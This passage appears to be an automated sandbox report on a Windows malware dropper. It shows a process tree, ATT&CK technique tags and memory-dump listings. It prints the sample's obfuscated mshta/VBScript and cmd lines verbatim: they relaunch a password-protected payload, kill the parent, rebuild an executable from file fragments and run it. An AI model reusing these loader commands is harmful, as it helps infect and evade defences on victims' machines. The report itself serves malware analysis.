    - - C:\Users\Admin\AppData\Local\Temp\7zS4C9D6304\Mon2083f8d8970a0b2d.exe
        
        Mon2083f8d8970a0b2d.exe
        5⤵
        Executes dropped EXE
        
        PID:4548
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4548 -s 320
        6⤵
        Program crash
        Checks processor information in registry
        Enumerates system info in registry
        Suspicious use of AdjustPrivilegeToken
        
        PID:5732
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon203f01ac7e6.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3420
    - - C:\Users\Admin\AppData\Local\Temp\7zS4C9D6304\Mon203f01ac7e6.exe
        
        Mon203f01ac7e6.exe
        5⤵
        Executes dropped EXE
        
        PID:4016
      - C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\7zS4C9D6304\Mon203f01ac7e6.exe"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If """" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\7zS4C9D6304\Mon203f01ac7e6.exe"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
        6⤵
        
        PID:3984
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\7zS4C9D6304\Mon203f01ac7e6.exe" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "" =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\7zS4C9D6304\Mon203f01ac7e6.exe") do taskkill /F -Im "%~NxU"
        7⤵
        
        PID:3048
        
        C:\Users\Admin\AppData\Local\Temp\09xU.exE
        
        09xU.EXE -pPtzyIkqLZoCarb5ew
        8⤵
        Executes dropped EXE
        
        PID:3092
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" VbsCRiPT: cLosE (CrEaTeOBJeCt ( "WScrIPT.SheLL" ).RuN ("CMD.exe /c copy /y ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"" 09xU.exE && STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If ""-pPtzyIkqLZoCarb5ew "" =="""" for %U iN ( ""C:\Users\Admin\AppData\Local\Temp\09xU.exE"") do taskkill /F -Im ""%~NxU"" " , 0 , tRUe) )
        9⤵
        
        PID:5016
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c copy /y "C:\Users\Admin\AppData\Local\Temp\09xU.exE" 09xU.exE &&STarT 09xU.EXE -pPtzyIkqLZoCarb5ew & If "-pPtzyIkqLZoCarb5ew " =="" for %U iN ( "C:\Users\Admin\AppData\Local\Temp\09xU.exE") do taskkill /F -Im "%~NxU"
        10⤵
        
        PID:5020
        
        C:\Windows\SysWOW64\mshta.exe
        
        "C:\Windows\System32\mshta.exe" vbScRipT: cloSE ( creAteobjECT ( "WscriPT.SHell" ). RuN ( "cMd.exE /Q /r eCHO | SET /P = ""MZ"" > ScMeAP.SU & CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH + 7TCInEJp.0 + yKIfDQA.1 r6f7sE.I & StART control .\R6f7sE.I " ,0,TRuE) )
        9⤵
        
        PID:5860
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /Q /r eCHO | SET /P = "MZ" > ScMeAP.SU &CoPY /b /Y ScMeAp.SU + 20L2VNO.2 + gUVIl5.SCH +7TCInEJp.0 + yKIfDQA.1 r6f7sE.I& StART control .\R6f7sE.I
        10⤵
        
        PID:4456
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" eCHO "
        11⤵
        
        PID:3260
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" SET /P = "MZ" 1>ScMeAP.SU"
        11⤵
        
        PID:2016
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /F -Im "Mon203f01ac7e6.exe"
        8⤵
        Kills process with taskkill
        
        PID:3144
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon20d3b8b752.exe
      4⤵
      PID:1492
    - - C:\Users\Admin\AppData\Local\Temp\7zS4C9D6304\Mon20d3b8b752.exe
        
        Mon20d3b8b752.exe
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:5036
      - C:\Users\Admin\Pictures\Adobe Films\Pc5xscmmG1sylsIvhZBLvNlF.exe
        
        "C:\Users\Admin\Pictures\Adobe Films\Pc5xscmmG1sylsIvhZBLvNlF.exe"
        6⤵
        Executes dropped EXE
        
        PID:5176
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 5036 -s 1972
        6⤵
        Program crash
        
        PID:5740
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon20b6f9d5bd03a305.exe
      4⤵
      PID:1920
    - - C:\Users\Admin\AppData\Local\Temp\7zS4C9D6304\Mon20b6f9d5bd03a305.exe
        
        Mon20b6f9d5bd03a305.exe
        5⤵
        Executes dropped EXE
        
        PID:4812
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c Mon209b3da1556b9a317.exe
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1420

C:\Windows\System32\Upfc.exe
C:\Windows\System32\Upfc.exe /launchtype periodic /cv qmqJqatko0yIQtn2S6ODaQ.0
1⤵
PID:3988
- C:\Windows\System32\sihclient.exe
  C:\Windows\System32\sihclient.exe /cv qmqJqatko0yIQtn2S6ODaQ.0.2
  2⤵
  PID:2472

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -s W32Time
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4652

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
1⤵
- Modifies data under HKEY_USERS
PID:4676

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:680

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 23d39767d0150bf8edf793d6dc55b468 qmqJqatko0yIQtn2S6ODaQ.0.1.0.3.0
1⤵
- Modifies data under HKEY_USERS
PID:2740

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:1336

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UsoSvc
1⤵
- Checks processor information in registry
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2424
- C:\Windows\uus\AMD64\MoUsoCoreWorker.exe
  C:\Windows\uus\AMD64\MoUsoCoreWorker.exe
  2⤵
  PID:3080

C:\Users\Admin\AppData\Local\Temp\7zS4C9D6304\Mon209b3da1556b9a317.exe
Mon209b3da1556b9a317.exe
1⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
PID:1868
- C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
  "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
  2⤵
  - Executes dropped EXE
  PID:5204
- - C:\Users\Admin\AppData\Local\Temp\inst1.exe
    "C:\Users\Admin\AppData\Local\Temp\inst1.exe"
    3⤵
    - Executes dropped EXE
    PID:5352
- - C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe
    "C:\Users\Admin\AppData\Local\Temp\DownFlSetup110.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:5388
  - - C:\Users\Admin\AppData\Roaming\8290929.scr
      "C:\Users\Admin\AppData\Roaming\8290929.scr" /S
      4⤵
      Executes dropped EXE
      PID:5440
  - - C:\Users\Admin\AppData\Roaming\6599251.scr
      "C:\Users\Admin\AppData\Roaming\6599251.scr" /S
      4⤵
      Executes dropped EXE
      Suspicious use of AdjustPrivilegeToken
      PID:3144
- - C:\Users\Admin\AppData\Local\Temp\Soft1ww01.exe
    "C:\Users\Admin\AppData\Local\Temp\Soft1ww01.exe"
    3⤵
    - Executes dropped EXE
    PID:5472
- - C:\Users\Admin\AppData\Local\Temp\4.exe
    "C:\Users\Admin\AppData\Local\Temp\4.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:5536
  - - C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe
      "C:\Users\Admin\AppData\Local\Temp\LzmwAqmV.exe"
      4⤵
      Executes dropped EXE
      PID:436
- - C:\Users\Admin\AppData\Local\Temp\setup.exe
    "C:\Users\Admin\AppData\Local\Temp\setup.exe"
    3⤵
    - Executes dropped EXE
    PID:5632
  - - C:\Users\Admin\AppData\Local\Temp\is-KCEBK.tmp\setup.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-KCEBK.tmp\setup.tmp" /SL5="$30260,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:5964
    - - C:\Users\Admin\AppData\Local\Temp\setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT
        5⤵
        Executes dropped EXE
        
        PID:6104
      - C:\Users\Admin\AppData\Local\Temp\is-602GE.tmp\setup.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-602GE.tmp\setup.tmp" /SL5="$401EC,140785,56832,C:\Users\Admin\AppData\Local\Temp\setup.exe" /SILENT
        6⤵
        Executes dropped EXE
        Loads dropped DLL
        
        PID:5184
- - C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe
    "C:\Users\Admin\AppData\Local\Temp\Chrome 5.exe"
    3⤵
    - Executes dropped EXE
    PID:5852

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 472 -p 2616 -ip 2616
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5216

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 4548 -ip 4548
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5196

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 516 -p 2952 -ip 2952
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5188

C:\Windows\SysWOW64\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Loads dropped DLL
PID:5616
- C:\Windows\SysWOW64\WerFault.exe
  C:\Windows\SysWOW64\WerFault.exe -u -p 5616 -s 452
  2⤵
  - Program crash
  - Checks processor information in registry
  - Enumerates system info in registry
  PID:6008

C:\Windows\system32\rundll32.exe
rundll32.exe "C:\Users\Admin\AppData\Local\Temp\sqlite.dll",global
1⤵
- Process spawned unexpected child process
PID:5560

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 496 -p 5616 -ip 5616
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:5872

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 636 -p 5036 -ip 5036
1⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
PID:4848

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

Disabling Security Tools

T1089

Modify Registry

T1112

Web Service

T1102

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

memory/1336-151-0x00000249A2FB0000-0x00000249A2FB4000-memory.dmp

Filesize
16KB

Download
memory/1868-231-0x0000000000990000-0x0000000000991000-memory.dmp

Filesize
4KB

Download
memory/1868-244-0x000000001B520000-0x000000001B522000-memory.dmp

Filesize
8KB

Download
memory/2100-257-0x0000000005420000-0x0000000005421000-memory.dmp

Filesize
4KB

Download
memory/2100-240-0x0000000000990000-0x0000000000991000-memory.dmp

Filesize
4KB

Download
memory/2616-261-0x0000000003280000-0x0000000003289000-memory.dmp

Filesize
36KB

Download
memory/2616-219-0x00000000018A8000-0x00000000018B8000-memory.dmp

Filesize
64KB

Download
memory/2952-260-0x00000000032B0000-0x00000000032F8000-memory.dmp

Filesize
288KB

Download
memory/2952-220-0x0000000001818000-0x0000000001841000-memory.dmp

Filesize
164KB

Download
memory/3032-174-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/3032-176-0x000000006B280000-0x000000006B2A6000-memory.dmp

Filesize
152KB

Download
memory/3032-179-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/3032-178-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/3032-170-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/3032-175-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/3032-169-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/3032-173-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/3032-172-0x000000006FE40000-0x000000006FFC6000-memory.dmp

Filesize
1.5MB

Download
memory/3032-171-0x000000006B440000-0x000000006B4CF000-memory.dmp

Filesize
572KB

Download
memory/3032-180-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/3032-177-0x0000000064940000-0x0000000064959000-memory.dmp

Filesize
100KB

Download
memory/3092-268-0x0000000002C90000-0x0000000002C91000-memory.dmp

Filesize
4KB

Download
memory/3092-267-0x0000000002C90000-0x0000000002C91000-memory.dmp

Filesize
4KB

Download
memory/3272-236-0x0000000000D60000-0x0000000000D61000-memory.dmp

Filesize
4KB

Download
memory/3272-251-0x000000001BB10000-0x000000001BB12000-memory.dmp

Filesize
8KB

Download
memory/3272-245-0x0000000001510000-0x0000000001511000-memory.dmp

Filesize
4KB

Download
memory/3732-319-0x0000000000400000-0x0000000000422000-memory.dmp

Filesize
136KB

Download
memory/3732-358-0x0000000004F80000-0x0000000005598000-memory.dmp

Filesize
6.1MB

Download
memory/3732-335-0x00000000055A0000-0x00000000055A1000-memory.dmp

Filesize
4KB

Download
memory/4016-217-0x00000000029A0000-0x00000000029A1000-memory.dmp

Filesize
4KB

Download
memory/4016-215-0x00000000029A0000-0x00000000029A1000-memory.dmp

Filesize
4KB

Download
memory/4268-239-0x0000000000370000-0x0000000000371000-memory.dmp

Filesize
4KB

Download
memory/4268-256-0x0000000004C40000-0x0000000004CB6000-memory.dmp

Filesize
472KB

Download
memory/4268-263-0x0000000005390000-0x0000000005391000-memory.dmp

Filesize
4KB

Download
memory/4268-247-0x0000000004CC0000-0x0000000004CC1000-memory.dmp

Filesize
4KB

Download
memory/4268-252-0x0000000004C60000-0x0000000004C61000-memory.dmp

Filesize
4KB

Download
memory/4544-336-0x0000000008430000-0x0000000008431000-memory.dmp

Filesize
4KB

Download
memory/4544-232-0x0000000000F00000-0x0000000000F01000-memory.dmp

Filesize
4KB

Download
memory/4544-234-0x0000000000F00000-0x0000000000F01000-memory.dmp

Filesize
4KB

Download
memory/4544-254-0x0000000007B90000-0x0000000007B91000-memory.dmp

Filesize
4KB

Download
memory/4544-243-0x0000000006C90000-0x0000000006C91000-memory.dmp

Filesize
4KB

Download
memory/4544-238-0x00000000049A0000-0x00000000049A1000-memory.dmp

Filesize
4KB

Download
memory/4544-275-0x0000000007E90000-0x0000000007E91000-memory.dmp

Filesize
4KB

Download
memory/4544-284-0x0000000007F70000-0x0000000007F71000-memory.dmp

Filesize
4KB

Download
memory/4544-300-0x0000000007FE0000-0x0000000007FE1000-memory.dmp

Filesize
4KB

Download
memory/4544-273-0x0000000007B60000-0x0000000007B61000-memory.dmp

Filesize
4KB

Download
memory/4544-250-0x0000000006C92000-0x0000000006C93000-memory.dmp

Filesize
4KB

Download
memory/4544-272-0x0000000007AE0000-0x0000000007AE1000-memory.dmp

Filesize
4KB

Download
memory/4544-246-0x00000000072D0000-0x00000000072D1000-memory.dmp

Filesize
4KB

Download
memory/4548-235-0x00000000017CD000-0x00000000017F0000-memory.dmp

Filesize
140KB

Download
memory/4548-259-0x00000000032D0000-0x0000000003300000-memory.dmp

Filesize
192KB

Download
memory/4676-146-0x000001F795770000-0x000001F795780000-memory.dmp

Filesize
64KB

Download
memory/4676-148-0x000001F795BF0000-0x000001F795BF4000-memory.dmp

Filesize
16KB

Download
memory/4676-147-0x000001F7959D0000-0x000001F7959E0000-memory.dmp

Filesize
64KB

Download
memory/5036-258-0x0000000005E00000-0x0000000005F45000-memory.dmp

Filesize
1.3MB

Download
memory/5184-374-0x00000000020A0000-0x00000000020A1000-memory.dmp

Filesize
4KB

Download
memory/5204-282-0x0000000000140000-0x0000000000141000-memory.dmp

Filesize
4KB

Download
memory/5352-312-0x0000000002A50000-0x0000000002A62000-memory.dmp

Filesize
72KB

Download
memory/5352-310-0x0000000001410000-0x0000000001420000-memory.dmp

Filesize
64KB

Download
memory/5388-293-0x0000000000470000-0x0000000000471000-memory.dmp

Filesize
4KB

Download
memory/5388-299-0x0000000000C30000-0x0000000000C31000-memory.dmp

Filesize
4KB

Download
memory/5388-328-0x000000001B100000-0x000000001B102000-memory.dmp

Filesize
8KB

Download
memory/5400-320-0x00000000003E0000-0x00000000003E1000-memory.dmp

Filesize
4KB

Download
memory/5400-354-0x0000000004DB0000-0x0000000004DB1000-memory.dmp

Filesize
4KB

Download
memory/5472-298-0x0000000000733000-0x00000000007AF000-memory.dmp

Filesize
496KB

Download
memory/5536-317-0x000000001B500000-0x000000001B502000-memory.dmp

Filesize
8KB

Download
memory/5536-305-0x00000000006E0000-0x00000000006E1000-memory.dmp

Filesize
4KB

Download
memory/5632-322-0x0000000000400000-0x0000000000414000-memory.dmp

Filesize
80KB

Download
memory/5692-385-0x00000000058E0000-0x0000000005EF8000-memory.dmp

Filesize
6.1MB

Download
memory/5852-332-0x0000000000730000-0x0000000000731000-memory.dmp

Filesize
4KB

Download
memory/5964-343-0x00000000020A0000-0x00000000020A1000-memory.dmp

Filesize
4KB

Download
memory/6104-351-0x0000000000400000-0x0000000000414000-memory.dmp

Filesize
80KB

Download